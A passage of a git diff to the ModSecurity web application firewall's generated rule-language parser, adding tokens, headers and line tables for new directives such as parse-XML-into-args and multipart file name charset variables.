"\"CONFIG_VALUE_WARN\"", - "\"CONFIG_XML_EXTERNAL_ENTITY\"", "\"CONGIG_DIR_RESPONSE_BODY_MP\"", + "\"CONFIG_VALUE_ONLYARGS\"", "\"CONFIG_VALUE_OFF\"", + "\"CONFIG_VALUE_ON\"", "\"CONFIG_VALUE_PARALLEL\"", + "\"CONFIG_VALUE_PROCESS_PARTIAL\"", "\"CONFIG_VALUE_REJECT\"", + "\"CONFIG_VALUE_RELEVANT_ONLY\"", "\"CONFIG_VALUE_SERIAL\"", + "\"CONFIG_VALUE_WARN\"", "\"CONFIG_XML_EXTERNAL_ENTITY\"", + "\"CONFIG_XML_PARSE_XML_INTO_ARGS\"", "\"CONGIG_DIR_RESPONSE_BODY_MP\"", "\"CONGIG_DIR_SEC_ARG_SEP\"", "\"CONGIG_DIR_SEC_COOKIE_FORMAT\"", "\"CONFIG_SEC_COOKIEV0_SEPARATOR\"", "\"CONGIG_DIR_SEC_DATA_DIR\"", "\"CONGIG_DIR_SEC_STATUS_ENGINE\"", @@ -7230,51 +7414,53 @@ namespace yy { const short seclang_parser::yyrline_[] = { - 0, 720, 720, 724, 725, 728, 733, 739, 745, 749, - 753, 759, 765, 771, 777, 782, 787, 793, 800, 804, - 808, 814, 818, 822, 827, 832, 837, 842, 846, 853, - 857, 864, 870, 880, 889, 899, 908, 921, 925, 929, - 933, 937, 941, 945, 949, 953, 957, 962, 966, 970, - 974, 978, 982, 987, 992, 996, 1000, 1004, 1008, 1012, - 1016, 1020, 1024, 1028, 1032, 1036, 1040, 1044, 1048, 1052, - 1056, 1060, 1064, 1068, 1082, 1083, 1113, 1132, 1151, 1179, - 1236, 1243, 1247, 1251, 1255, 1259, 1263, 1267, 1271, 1280, - 1284, 1289, 1292, 1297, 1302, 1307, 1312, 1315, 1320, 1323, - 1328, 1333, 1336, 1341, 1346, 1351, 1356, 1361, 1366, 1371, - 1374, 1379, 1384, 1389, 1394, 1397, 1402, 1407, 1412, 1425, - 1438, 1451, 1464, 1477, 1503, 1531, 1543, 1563, 1590, 1595, - 1601, 1606, 1611, 1620, 1625, 1629, 1633, 1637, 1641, 1645, - 1649, 1654, 1659, 1671, 1677, 1681, 1685, 1696, 1705, 1706, - 1713, 1718, 1723, 1777, 1784, 1792, 1829, 1833, 1840, 1845, - 1851, 1857, 1863, 1870, 1880, 1884, 1888, 1892, 1896, 1900, - 1904, 1908, 1912, 1916, 1920, 1924, 1928, 1932, 1936, 1940, - 1944, 1948, 1952, 1956, 1960, 1964, 1968, 1972, 1976, 1980, - 1984, 1988, 1992, 1996, 2000, 2004, 2008, 2012, 2016, 2020, - 2024, 2028, 2032, 2036, 2040, 2044, 2048, 2052, 2056, 2060, - 2064, 2068, 2072, 2076, 2080, 2084, 2088, 2092, 2096, 2100, - 2104, 2108, 2112, 2116, 2120, 2124, 2128, 2132, 2136, 2140, - 2144, 2148, 2152, 2156, 2160, 2164, 2168, 2172, 2176, 2180, - 2184, 2188, 2192, 2196, 2200, 2204, 2208, 2212, 2216, 2220, - 2224, 2228, 2232, 2236, 2240, 2244, 2248, 2253, 2257, 2261, - 2266, 2270, 2274, 2279, 2284, 2288, 2292, 2296, 2300, 2304, - 2308, 2312, 2316, 2320, 2324, 2328, 2332, 2336, 2340, 2344, - 2348, 2352, 2356, 2360, 2364, 2368, 2372, 2376, 2380, 2384, - 2388, 2392, 2396, 2400, 2404, 2408, 2412, 2416, 2420, 2424, - 2428, 2432, 2436, 2440, 2444, 2448, 2452, 2456, 2460, 2464, - 2468, 2472, 2476, 2480, 2484, 2488, 2492, 2496, 2500, 2504, - 2508, 2512, 2516, 2520, 2524, 2528, 2532, 2540, 2547, 2554, - 2561, 2568, 2575, 2582, 2589, 2596, 2603, 2610, 2617, 2627, - 2631, 2635, 2639, 2643, 2647, 2651, 2655, 2660, 2664, 2669, - 2673, 2677, 2681, 2685, 2690, 2695, 2699, 2703, 2707, 2711, - 2715, 2719, 2723, 2727, 2731, 2735, 2739, 2743, 2747, 2752, - 2756, 2760, 2764, 2768, 2772, 2776, 2780, 2784, 2788, 2792, - 2796, 2800, 2804, 2808, 2812, 2816, 2820, 2824, 2828, 2832, - 2836, 2840, 2844, 2848, 2852, 2856, 2860, 2864, 2868, 2872, - 2876, 2880, 2884, 2888, 2892, 2896, 2900, 2904, 2908, 2912, - 2916, 2920, 2924, 2928, 2932, 2936, 2940, 2944, 2948, 2952, - 2956, 2960, 2964, 2968, 2972, 2976, 2980, 2984, 2988, 2992, - 2996, 3000, 3004, 3008, 3012, 3016, 3020, 3024, 3031, 3035, - 3039, 3043, 3047, 3054, 3059, 3064, 3070 + 0, 742, 742, 746, 747, 750, 755, 761, 767, 771, + 775, 781, 787, 793, 799, 804, 809, 815, 822, 829, + 833, 837, 843, 847, 851, 856, 864, 872, 877, 881, + 888, 892, 899, 905, 915, 924, 934, 943, 956, 960, + 964, 968, 972, 976, 980, 984, 988, 992, 997, 1001, + 1005, 1009, 1013, 1017, 1022, 1027, 1031, 1035, 1039, 1043, + 1047, 1051, 1055, 1059, 1063, 1067, 1071, 1075, 1079, 1083, + 1087, 1091, 1095, 1099, 1103, 1117, 1118, 1149, 1168, 1188, + 1217, 1274, 1281, 1285, 1289, 1293, 1297, 1301, 1305, 1309, + 1318, 1322, 1327, 1330, 1335, 1340, 1345, 1350, 1353, 1358, + 1361, 1366, 1371, 1374, 1379, 1384, 1389, 1394, 1399, 1404, + 1409, 1412, 1417, 1422, 1427, 1432, 1435, 1440, 1445, 1450, + 1463, 1476, 1489, 1502, 1515, 1541, 1569, 1581, 1601, 1628, + 1633, 1639, 1647, 1655, 1664, 1672, 1676, 1680, 1684, 1688, + 1692, 1696, 1701, 1709, 1722, 1728, 1732, 1736, 1740, 1744, + 1748, 1759, 1768, 1769, 1776, 1781, 1786, 1840, 1847, 1855, + 1892, 1896, 1903, 1908, 1914, 1920, 1926, 1933, 1943, 1947, + 1951, 1955, 1959, 1963, 1967, 1971, 1975, 1979, 1983, 1987, + 1991, 1995, 1999, 2003, 2007, 2011, 2015, 2019, 2023, 2027, + 2031, 2035, 2039, 2043, 2047, 2051, 2055, 2059, 2063, 2067, + 2071, 2075, 2079, 2083, 2087, 2091, 2095, 2099, 2103, 2107, + 2111, 2115, 2119, 2123, 2127, 2131, 2135, 2139, 2143, 2147, + 2151, 2155, 2159, 2163, 2167, 2171, 2175, 2179, 2183, 2187, + 2191, 2195, 2199, 2203, 2207, 2211, 2215, 2219, 2223, 2227, + 2231, 2235, 2239, 2243, 2247, 2251, 2255, 2259, 2263, 2267, + 2271, 2275, 2279, 2283, 2287, 2291, 2295, 2299, 2303, 2307, + 2311, 2315, 2319, 2323, 2327, 2331, 2335, 2340, 2344, 2348, + 2353, 2357, 2361, 2366, 2371, 2375, 2379, 2383, 2387, 2391, + 2395, 2399, 2403, 2407, 2411, 2415, 2419, 2423, 2427, 2431, + 2435, 2439, 2443, 2447, 2451, 2455, 2459, 2463, 2467, 2471, + 2475, 2479, 2483, 2487, 2491, 2495, 2499, 2503, 2507, 2511, + 2515, 2519, 2523, 2527, 2531, 2535, 2539, 2543, 2547, 2551, + 2555, 2559, 2563, 2567, 2571, 2575, 2579, 2583, 2587, 2591, + 2595, 2599, 2603, 2607, 2611, 2615, 2619, 2623, 2631, 2638, + 2645, 2652, 2659, 2666, 2673, 2680, 2687, 2694, 2701, 2708, + 2718, 2722, 2726, 2730, 2734, 2738, 2742, 2746, 2751, 2755, + 2760, 2764, 2768, 2772, 2776, 2781, 2786, 2790, 2794, 2798, + 2802, 2806, 2810, 2814, 2818, 2822, 2826, 2830, 2834, 2838, + 2842, 2846, 2850, 2854, 2858, 2862, 2866, 2870, 2874, 2878, + 2882, 2886, 2890, 2894, 2898, 2902, 2906, 2910, 2914, 2918, + 2922, 2926, 2930, 2934, 2938, 2942, 2946, 2950, 2954, 2958, + 2962, 2966, 2970, 2974, 2978, 2982, 2986, 2990, 2994, 2998, + 3002, 3006, 3010, 3014, 3018, 3022, 3026, 3030, 3034, 3038, + 3042, 3046, 3050, 3054, 3058, 3062, 3066, 3070, 3074, 3078, + 3082, 3086, 3090, 3094, 3098, 3102, 3106, 3110, 3114, 3118, + 3122, 3126, 3133, 3137, 3141, 3145, 3149, 3156, 3161, 3166, + 3172 }; void @@ -7306,9 +7492,9 @@ namespace yy { } // yy -#line 7310 "seclang-parser.cc" +#line 7496 "seclang-parser.cc" -#line 3077 "seclang-parser.yy" +#line 3179 "seclang-parser.yy" void yy::seclang_parser::error (const location_type& l, const std::string& m) { diff --git a/src/parser/seclang-parser.hh b/src/parser/seclang-parser.hh index 7e6820bb47..500c65b6cb 100644 --- a/src/parser/seclang-parser.hh +++ b/src/parser/seclang-parser.hh @@ -66,6 +66,7 @@ class Driver; #include "src/actions/chain.h" #include "src/actions/ctl/audit_engine.h" #include "src/actions/ctl/audit_log_parts.h" +#include "src/actions/ctl/parse_xml_into_args.h" #include "src/actions/ctl/request_body_access.h" #include "src/actions/ctl/rule_engine.h" #include "src/actions/ctl/request_body_processor_json.h" @@ -83,6 +84,7 @@ class Driver; #include "src/actions/disruptive/redirect.h" #include "src/actions/init_col.h" #include "src/actions/exec.h" +#include "src/actions/expire_var.h" #include "src/actions/log_data.h" #include "src/actions/log.h" #include "src/actions/maturity.h" @@ -230,8 +232,11 @@ class Driver; #include "src/variables/multipart_crlf_lf_lines.h" #include "src/variables/multipart_data_after.h" #include "src/variables/multipart_data_before.h" +#include "src/variables/multipart_duplicate_part_header.h" #include "src/variables/multipart_file_limit_exceeded.h" #include "src/variables/multipart_file_name.h" +#include "src/variables/multipart_file_name_charset.h" +#include "src/variables/multipart_file_name_language.h" #include "src/variables/multipart_header_folding.h" #include "src/variables/multipart_invalid_header_folding.h" #include "src/variables/multipart_invalid_part.h" @@ -354,7 +359,7 @@ using namespace modsecurity::operators; a = std::move(c); -#line 358 "seclang-parser.hh" +#line 363 "seclang-parser.hh" # include # include // std::abort @@ -494,7 +499,7 @@ using namespace modsecurity::operators; #endif namespace yy { -#line 498 "seclang-parser.hh" +#line 503 "seclang-parser.hh" @@ -726,6 +731,7 @@ namespace yy { // "ACTION_CTL_BDY_XML" // "ACTION_CTL_BDY_URLENCODED" // "ACTION_CTL_FORCE_REQ_BODY_VAR" + // "ACTION_CTL_PARSE_XML_INTO_ARGS" // "ACTION_CTL_REQUEST_BODY_ACCESS" // "ACTION_CTL_RULE_REMOVE_BY_ID" // "ACTION_CTL_RULE_REMOVE_BY_TAG" @@ -817,6 +823,7 @@ namespace yy { // "CONFIG_DIR_AUDIT_LOG2" // "CONFIG_DIR_AUDIT_LOG_P" // "CONFIG_DIR_AUDIT_STS" + // "CONFIG_DIR_AUDIT_PREFIX" // "CONFIG_DIR_AUDIT_TPE" // "CONFIG_DIR_DEBUG_LOG" // "CONFIG_DIR_DEBUG_LVL" @@ -873,6 +880,7 @@ namespace yy { // "CONFIG_VALUE_ABORT" // "CONFIG_VALUE_DETC" // "CONFIG_VALUE_HTTPS" + // "CONFIG_VALUE_ONLYARGS" // "CONFIG_VALUE_OFF" // "CONFIG_VALUE_ON" // "CONFIG_VALUE_PARALLEL" @@ -882,6 +890,7 @@ namespace yy { // "CONFIG_VALUE_SERIAL" // "CONFIG_VALUE_WARN" // "CONFIG_XML_EXTERNAL_ENTITY" + // "CONFIG_XML_PARSE_XML_INTO_ARGS" // "CONGIG_DIR_RESPONSE_BODY_MP" // "CONGIG_DIR_SEC_ARG_SEP" // "CONGIG_DIR_SEC_COOKIE_FORMAT" @@ -1002,337 +1011,344 @@ namespace yy { TOK_VARIABLE_FILES_NAMES = 269, // VARIABLE_FILES_NAMES TOK_VARIABLE_FILES_TMP_CONTENT = 270, // VARIABLE_FILES_TMP_CONTENT TOK_VARIABLE_MULTIPART_FILENAME = 271, // VARIABLE_MULTIPART_FILENAME - TOK_VARIABLE_MULTIPART_NAME = 272, // VARIABLE_MULTIPART_NAME - TOK_VARIABLE_MATCHED_VARS_NAMES = 273, // VARIABLE_MATCHED_VARS_NAMES - TOK_VARIABLE_MATCHED_VARS = 274, // VARIABLE_MATCHED_VARS - TOK_VARIABLE_FILES = 275, // VARIABLE_FILES - TOK_VARIABLE_REQUEST_COOKIES = 276, // VARIABLE_REQUEST_COOKIES - TOK_VARIABLE_REQUEST_HEADERS = 277, // VARIABLE_REQUEST_HEADERS - TOK_VARIABLE_RESPONSE_HEADERS = 278, // VARIABLE_RESPONSE_HEADERS - TOK_VARIABLE_GEO = 279, // VARIABLE_GEO - TOK_VARIABLE_REQUEST_COOKIES_NAMES = 280, // VARIABLE_REQUEST_COOKIES_NAMES - TOK_VARIABLE_MULTIPART_PART_HEADERS = 281, // VARIABLE_MULTIPART_PART_HEADERS - TOK_VARIABLE_ARGS_COMBINED_SIZE = 282, // VARIABLE_ARGS_COMBINED_SIZE - TOK_VARIABLE_ARGS_GET_NAMES = 283, // VARIABLE_ARGS_GET_NAMES - TOK_VARIABLE_RULE = 284, // VARIABLE_RULE - TOK_VARIABLE_ARGS_NAMES = 285, // "Variable ARGS_NAMES" - TOK_VARIABLE_ARGS_POST_NAMES = 286, // VARIABLE_ARGS_POST_NAMES - TOK_VARIABLE_AUTH_TYPE = 287, // "AUTH_TYPE" - TOK_VARIABLE_FILES_COMBINED_SIZE = 288, // "FILES_COMBINED_SIZE" - TOK_VARIABLE_FILES_TMP_NAMES = 289, // "FILES_TMPNAMES" - TOK_VARIABLE_FULL_REQUEST = 290, // "FULL_REQUEST" - TOK_VARIABLE_FULL_REQUEST_LENGTH = 291, // "FULL_REQUEST_LENGTH" - TOK_VARIABLE_INBOUND_DATA_ERROR = 292, // "INBOUND_DATA_ERROR" - TOK_VARIABLE_MATCHED_VAR = 293, // "MATCHED_VAR" - TOK_VARIABLE_MATCHED_VAR_NAME = 294, // "MATCHED_VAR_NAME" - TOK_VARIABLE_MSC_PCRE_ERROR = 295, // "MSC_PCRE_ERROR" - TOK_VARIABLE_MSC_PCRE_LIMITS_EXCEEDED = 296, // "MSC_PCRE_LIMITS_EXCEEDED" - TOK_VARIABLE_MULTIPART_BOUNDARY_QUOTED = 297, // VARIABLE_MULTIPART_BOUNDARY_QUOTED - TOK_VARIABLE_MULTIPART_BOUNDARY_WHITESPACE = 298, // VARIABLE_MULTIPART_BOUNDARY_WHITESPACE - TOK_VARIABLE_MULTIPART_CRLF_LF_LINES = 299, // "MULTIPART_CRLF_LF_LINES" - TOK_VARIABLE_MULTIPART_DATA_AFTER = 300, // "MULTIPART_DATA_AFTER" - TOK_VARIABLE_MULTIPART_DATA_BEFORE = 301, // VARIABLE_MULTIPART_DATA_BEFORE - TOK_VARIABLE_MULTIPART_FILE_LIMIT_EXCEEDED = 302, // "MULTIPART_FILE_LIMIT_EXCEEDED" - TOK_VARIABLE_MULTIPART_HEADER_FOLDING = 303, // "MULTIPART_HEADER_FOLDING" - TOK_VARIABLE_MULTIPART_INVALID_HEADER_FOLDING = 304, // "MULTIPART_INVALID_HEADER_FOLDING" - TOK_VARIABLE_MULTIPART_INVALID_PART = 305, // VARIABLE_MULTIPART_INVALID_PART - TOK_VARIABLE_MULTIPART_INVALID_QUOTING = 306, // "MULTIPART_INVALID_QUOTING" - TOK_VARIABLE_MULTIPART_LF_LINE = 307, // VARIABLE_MULTIPART_LF_LINE - TOK_VARIABLE_MULTIPART_MISSING_SEMICOLON = 308, // VARIABLE_MULTIPART_MISSING_SEMICOLON - TOK_VARIABLE_MULTIPART_SEMICOLON_MISSING = 309, // VARIABLE_MULTIPART_SEMICOLON_MISSING - TOK_VARIABLE_MULTIPART_STRICT_ERROR = 310, // "MULTIPART_STRICT_ERROR" - TOK_VARIABLE_MULTIPART_UNMATCHED_BOUNDARY = 311, // "MULTIPART_UNMATCHED_BOUNDARY" - TOK_VARIABLE_OUTBOUND_DATA_ERROR = 312, // "OUTBOUND_DATA_ERROR" - TOK_VARIABLE_PATH_INFO = 313, // "PATH_INFO" - TOK_VARIABLE_QUERY_STRING = 314, // "QUERY_STRING" - TOK_VARIABLE_REMOTE_ADDR = 315, // "REMOTE_ADDR" - TOK_VARIABLE_REMOTE_HOST = 316, // "REMOTE_HOST" - TOK_VARIABLE_REMOTE_PORT = 317, // "REMOTE_PORT" - TOK_VARIABLE_REQBODY_ERROR_MSG = 318, // "REQBODY_ERROR_MSG" - TOK_VARIABLE_REQBODY_ERROR = 319, // "REQBODY_ERROR" - TOK_VARIABLE_REQBODY_PROCESSOR_ERROR_MSG = 320, // "REQBODY_PROCESSOR_ERROR_MSG" - TOK_VARIABLE_REQBODY_PROCESSOR_ERROR = 321, // "REQBODY_PROCESSOR_ERROR" - TOK_VARIABLE_REQBODY_PROCESSOR = 322, // "REQBODY_PROCESSOR" - TOK_VARIABLE_REQUEST_BASENAME = 323, // "REQUEST_BASENAME" - TOK_VARIABLE_REQUEST_BODY_LENGTH = 324, // "REQUEST_BODY_LENGTH" - TOK_VARIABLE_REQUEST_BODY = 325, // "REQUEST_BODY" - TOK_VARIABLE_REQUEST_FILE_NAME = 326, // "REQUEST_FILENAME" - TOK_VARIABLE_REQUEST_HEADERS_NAMES = 327, // VARIABLE_REQUEST_HEADERS_NAMES - TOK_VARIABLE_REQUEST_LINE = 328, // "REQUEST_LINE" - TOK_VARIABLE_REQUEST_METHOD = 329, // "REQUEST_METHOD" - TOK_VARIABLE_REQUEST_PROTOCOL = 330, // "REQUEST_PROTOCOL" - TOK_VARIABLE_REQUEST_URI_RAW = 331, // "REQUEST_URI_RAW" - TOK_VARIABLE_REQUEST_URI = 332, // "REQUEST_URI" - TOK_VARIABLE_RESOURCE = 333, // "RESOURCE" - TOK_VARIABLE_RESPONSE_BODY = 334, // "RESPONSE_BODY" - TOK_VARIABLE_RESPONSE_CONTENT_LENGTH = 335, // "RESPONSE_CONTENT_LENGTH" - TOK_VARIABLE_RESPONSE_CONTENT_TYPE = 336, // VARIABLE_RESPONSE_CONTENT_TYPE - TOK_VARIABLE_RESPONSE_HEADERS_NAMES = 337, // VARIABLE_RESPONSE_HEADERS_NAMES - TOK_VARIABLE_RESPONSE_PROTOCOL = 338, // "RESPONSE_PROTOCOL" - TOK_VARIABLE_RESPONSE_STATUS = 339, // "RESPONSE_STATUS" - TOK_VARIABLE_SERVER_ADDR = 340, // "SERVER_ADDR" - TOK_VARIABLE_SERVER_NAME = 341, // "SERVER_NAME" - TOK_VARIABLE_SERVER_PORT = 342, // "SERVER_PORT" - TOK_VARIABLE_SESSION_ID = 343, // "SESSIONID" - TOK_VARIABLE_UNIQUE_ID = 344, // "UNIQUE_ID" - TOK_VARIABLE_URL_ENCODED_ERROR = 345, // "URLENCODED_ERROR" - TOK_VARIABLE_USER_ID = 346, // "USERID" - TOK_VARIABLE_WEB_APP_ID = 347, // "WEBAPPID" - TOK_VARIABLE_STATUS = 348, // "VARIABLE_STATUS" - TOK_VARIABLE_STATUS_LINE = 349, // "VARIABLE_STATUS_LINE" - TOK_VARIABLE_IP = 350, // "VARIABLE_IP" - TOK_VARIABLE_GLOBAL = 351, // "VARIABLE_GLOBAL" - TOK_VARIABLE_TX = 352, // "VARIABLE_TX" - TOK_VARIABLE_SESSION = 353, // "VARIABLE_SESSION" - TOK_VARIABLE_USER = 354, // "VARIABLE_USER" - TOK_RUN_TIME_VAR_ENV = 355, // "RUN_TIME_VAR_ENV" - TOK_RUN_TIME_VAR_XML = 356, // "RUN_TIME_VAR_XML" - TOK_ACTION_SETVAR = 357, // "SetVar" - TOK_SETVAR_OPERATION_EQUALS = 358, // SETVAR_OPERATION_EQUALS - TOK_SETVAR_OPERATION_EQUALS_PLUS = 359, // SETVAR_OPERATION_EQUALS_PLUS - TOK_SETVAR_OPERATION_EQUALS_MINUS = 360, // SETVAR_OPERATION_EQUALS_MINUS - TOK_NOT = 361, // "NOT" - TOK_OPERATOR_BEGINS_WITH = 362, // "OPERATOR_BEGINS_WITH" - TOK_OPERATOR_CONTAINS = 363, // "OPERATOR_CONTAINS" - TOK_OPERATOR_CONTAINS_WORD = 364, // "OPERATOR_CONTAINS_WORD" - TOK_OPERATOR_DETECT_SQLI = 365, // "OPERATOR_DETECT_SQLI" - TOK_OPERATOR_DETECT_XSS = 366, // "OPERATOR_DETECT_XSS" - TOK_OPERATOR_ENDS_WITH = 367, // "OPERATOR_ENDS_WITH" - TOK_OPERATOR_EQ = 368, // "OPERATOR_EQ" - TOK_OPERATOR_FUZZY_HASH = 369, // "OPERATOR_FUZZY_HASH" - TOK_OPERATOR_GEOLOOKUP = 370, // "OPERATOR_GEOLOOKUP" - TOK_OPERATOR_GE = 371, // "OPERATOR_GE" - TOK_OPERATOR_GSB_LOOKUP = 372, // "OPERATOR_GSB_LOOKUP" - TOK_OPERATOR_GT = 373, // "OPERATOR_GT" - TOK_OPERATOR_INSPECT_FILE = 374, // "OPERATOR_INSPECT_FILE" - TOK_OPERATOR_IP_MATCH_FROM_FILE = 375, // "OPERATOR_IP_MATCH_FROM_FILE" - TOK_OPERATOR_IP_MATCH = 376, // "OPERATOR_IP_MATCH" - TOK_OPERATOR_LE = 377, // "OPERATOR_LE" - TOK_OPERATOR_LT = 378, // "OPERATOR_LT" - TOK_OPERATOR_PM_FROM_FILE = 379, // "OPERATOR_PM_FROM_FILE" - TOK_OPERATOR_PM = 380, // "OPERATOR_PM" - TOK_OPERATOR_RBL = 381, // "OPERATOR_RBL" - TOK_OPERATOR_RSUB = 382, // "OPERATOR_RSUB" - TOK_OPERATOR_RX_CONTENT_ONLY = 383, // "Operator RX (content only)" - TOK_OPERATOR_RX = 384, // "OPERATOR_RX" - TOK_OPERATOR_RX_GLOBAL = 385, // "OPERATOR_RX_GLOBAL" - TOK_OPERATOR_STR_EQ = 386, // "OPERATOR_STR_EQ" - TOK_OPERATOR_STR_MATCH = 387, // "OPERATOR_STR_MATCH" - TOK_OPERATOR_UNCONDITIONAL_MATCH = 388, // "OPERATOR_UNCONDITIONAL_MATCH" - TOK_OPERATOR_VALIDATE_BYTE_RANGE = 389, // "OPERATOR_VALIDATE_BYTE_RANGE" - TOK_OPERATOR_VALIDATE_DTD = 390, // "OPERATOR_VALIDATE_DTD" - TOK_OPERATOR_VALIDATE_HASH = 391, // "OPERATOR_VALIDATE_HASH" - TOK_OPERATOR_VALIDATE_SCHEMA = 392, // "OPERATOR_VALIDATE_SCHEMA" - TOK_OPERATOR_VALIDATE_URL_ENCODING = 393, // "OPERATOR_VALIDATE_URL_ENCODING" - TOK_OPERATOR_VALIDATE_UTF8_ENCODING = 394, // "OPERATOR_VALIDATE_UTF8_ENCODING" - TOK_OPERATOR_VERIFY_CC = 395, // "OPERATOR_VERIFY_CC" - TOK_OPERATOR_VERIFY_CPF = 396, // "OPERATOR_VERIFY_CPF" - TOK_OPERATOR_VERIFY_SSN = 397, // "OPERATOR_VERIFY_SSN" - TOK_OPERATOR_VERIFY_SVNR = 398, // "OPERATOR_VERIFY_SVNR" - TOK_OPERATOR_WITHIN = 399, // "OPERATOR_WITHIN" - TOK_CONFIG_DIR_AUDIT_LOG_FMT = 400, // CONFIG_DIR_AUDIT_LOG_FMT - TOK_JSON = 401, // JSON - TOK_NATIVE = 402, // NATIVE - TOK_ACTION_CTL_RULE_ENGINE = 403, // "ACTION_CTL_RULE_ENGINE" - TOK_ACTION_ACCURACY = 404, // "Accuracy" - TOK_ACTION_ALLOW = 405, // "Allow" - TOK_ACTION_APPEND = 406, // "Append" - TOK_ACTION_AUDIT_LOG = 407, // "AuditLog" - TOK_ACTION_BLOCK = 408, // "Block" - TOK_ACTION_CAPTURE = 409, // "Capture" - TOK_ACTION_CHAIN = 410, // "Chain" - TOK_ACTION_CTL_AUDIT_ENGINE = 411, // "ACTION_CTL_AUDIT_ENGINE" - TOK_ACTION_CTL_AUDIT_LOG_PARTS = 412, // "ACTION_CTL_AUDIT_LOG_PARTS" - TOK_ACTION_CTL_BDY_JSON = 413, // "ACTION_CTL_BDY_JSON" - TOK_ACTION_CTL_BDY_XML = 414, // "ACTION_CTL_BDY_XML" - TOK_ACTION_CTL_BDY_URLENCODED = 415, // "ACTION_CTL_BDY_URLENCODED" - TOK_ACTION_CTL_FORCE_REQ_BODY_VAR = 416, // "ACTION_CTL_FORCE_REQ_BODY_VAR" - TOK_ACTION_CTL_REQUEST_BODY_ACCESS = 417, // "ACTION_CTL_REQUEST_BODY_ACCESS" - TOK_ACTION_CTL_RULE_REMOVE_BY_ID = 418, // "ACTION_CTL_RULE_REMOVE_BY_ID" - TOK_ACTION_CTL_RULE_REMOVE_BY_TAG = 419, // "ACTION_CTL_RULE_REMOVE_BY_TAG" - TOK_ACTION_CTL_RULE_REMOVE_TARGET_BY_ID = 420, // "ACTION_CTL_RULE_REMOVE_TARGET_BY_ID" - TOK_ACTION_CTL_RULE_REMOVE_TARGET_BY_TAG = 421, // "ACTION_CTL_RULE_REMOVE_TARGET_BY_TAG" - TOK_ACTION_DENY = 422, // "Deny" - TOK_ACTION_DEPRECATE_VAR = 423, // "DeprecateVar" - TOK_ACTION_DROP = 424, // "Drop" - TOK_ACTION_EXEC = 425, // "Exec" - TOK_ACTION_EXPIRE_VAR = 426, // "ExpireVar" - TOK_ACTION_ID = 427, // "Id" - TOK_ACTION_INITCOL = 428, // "InitCol" - TOK_ACTION_LOG = 429, // "Log" - TOK_ACTION_LOG_DATA = 430, // "LogData" - TOK_ACTION_MATURITY = 431, // "Maturity" - TOK_ACTION_MSG = 432, // "Msg" - TOK_ACTION_MULTI_MATCH = 433, // "MultiMatch" - TOK_ACTION_NO_AUDIT_LOG = 434, // "NoAuditLog" - TOK_ACTION_NO_LOG = 435, // "NoLog" - TOK_ACTION_PASS = 436, // "Pass" - TOK_ACTION_PAUSE = 437, // "Pause" - TOK_ACTION_PHASE = 438, // "Phase" - TOK_ACTION_PREPEND = 439, // "Prepend" - TOK_ACTION_PROXY = 440, // "Proxy" - TOK_ACTION_REDIRECT = 441, // "Redirect" - TOK_ACTION_REV = 442, // "Rev" - TOK_ACTION_SANITISE_ARG = 443, // "SanitiseArg" - TOK_ACTION_SANITISE_MATCHED = 444, // "SanitiseMatched" - TOK_ACTION_SANITISE_MATCHED_BYTES = 445, // "SanitiseMatchedBytes" - TOK_ACTION_SANITISE_REQUEST_HEADER = 446, // "SanitiseRequestHeader" - TOK_ACTION_SANITISE_RESPONSE_HEADER = 447, // "SanitiseResponseHeader" - TOK_ACTION_SETENV = 448, // "SetEnv" - TOK_ACTION_SETRSC = 449, // "SetRsc" - TOK_ACTION_SETSID = 450, // "SetSid" - TOK_ACTION_SETUID = 451, // "SetUID" - TOK_ACTION_SEVERITY = 452, // "Severity" - TOK_ACTION_SKIP = 453, // "Skip" - TOK_ACTION_SKIP_AFTER = 454, // "SkipAfter" - TOK_ACTION_STATUS = 455, // "Status" - TOK_ACTION_TAG = 456, // "Tag" - TOK_ACTION_TRANSFORMATION_BASE_64_ENCODE = 457, // "ACTION_TRANSFORMATION_BASE_64_ENCODE" - TOK_ACTION_TRANSFORMATION_BASE_64_DECODE = 458, // "ACTION_TRANSFORMATION_BASE_64_DECODE" - TOK_ACTION_TRANSFORMATION_BASE_64_DECODE_EXT = 459, // "ACTION_TRANSFORMATION_BASE_64_DECODE_EXT" - TOK_ACTION_TRANSFORMATION_CMD_LINE = 460, // "ACTION_TRANSFORMATION_CMD_LINE" - TOK_ACTION_TRANSFORMATION_COMPRESS_WHITESPACE = 461, // "ACTION_TRANSFORMATION_COMPRESS_WHITESPACE" - TOK_ACTION_TRANSFORMATION_CSS_DECODE = 462, // "ACTION_TRANSFORMATION_CSS_DECODE" - TOK_ACTION_TRANSFORMATION_ESCAPE_SEQ_DECODE = 463, // "ACTION_TRANSFORMATION_ESCAPE_SEQ_DECODE" - TOK_ACTION_TRANSFORMATION_HEX_ENCODE = 464, // "ACTION_TRANSFORMATION_HEX_ENCODE" - TOK_ACTION_TRANSFORMATION_HEX_DECODE = 465, // "ACTION_TRANSFORMATION_HEX_DECODE" - TOK_ACTION_TRANSFORMATION_HTML_ENTITY_DECODE = 466, // "ACTION_TRANSFORMATION_HTML_ENTITY_DECODE" - TOK_ACTION_TRANSFORMATION_JS_DECODE = 467, // "ACTION_TRANSFORMATION_JS_DECODE" - TOK_ACTION_TRANSFORMATION_LENGTH = 468, // "ACTION_TRANSFORMATION_LENGTH" - TOK_ACTION_TRANSFORMATION_LOWERCASE = 469, // "ACTION_TRANSFORMATION_LOWERCASE" - TOK_ACTION_TRANSFORMATION_MD5 = 470, // "ACTION_TRANSFORMATION_MD5" - TOK_ACTION_TRANSFORMATION_NONE = 471, // "ACTION_TRANSFORMATION_NONE" - TOK_ACTION_TRANSFORMATION_NORMALISE_PATH = 472, // "ACTION_TRANSFORMATION_NORMALISE_PATH" - TOK_ACTION_TRANSFORMATION_NORMALISE_PATH_WIN = 473, // "ACTION_TRANSFORMATION_NORMALISE_PATH_WIN" - TOK_ACTION_TRANSFORMATION_PARITY_EVEN_7_BIT = 474, // "ACTION_TRANSFORMATION_PARITY_EVEN_7_BIT" - TOK_ACTION_TRANSFORMATION_PARITY_ODD_7_BIT = 475, // "ACTION_TRANSFORMATION_PARITY_ODD_7_BIT" - TOK_ACTION_TRANSFORMATION_PARITY_ZERO_7_BIT = 476, // "ACTION_TRANSFORMATION_PARITY_ZERO_7_BIT" - TOK_ACTION_TRANSFORMATION_REMOVE_COMMENTS = 477, // "ACTION_TRANSFORMATION_REMOVE_COMMENTS" - TOK_ACTION_TRANSFORMATION_REMOVE_COMMENTS_CHAR = 478, // "ACTION_TRANSFORMATION_REMOVE_COMMENTS_CHAR" - TOK_ACTION_TRANSFORMATION_REMOVE_NULLS = 479, // "ACTION_TRANSFORMATION_REMOVE_NULLS" - 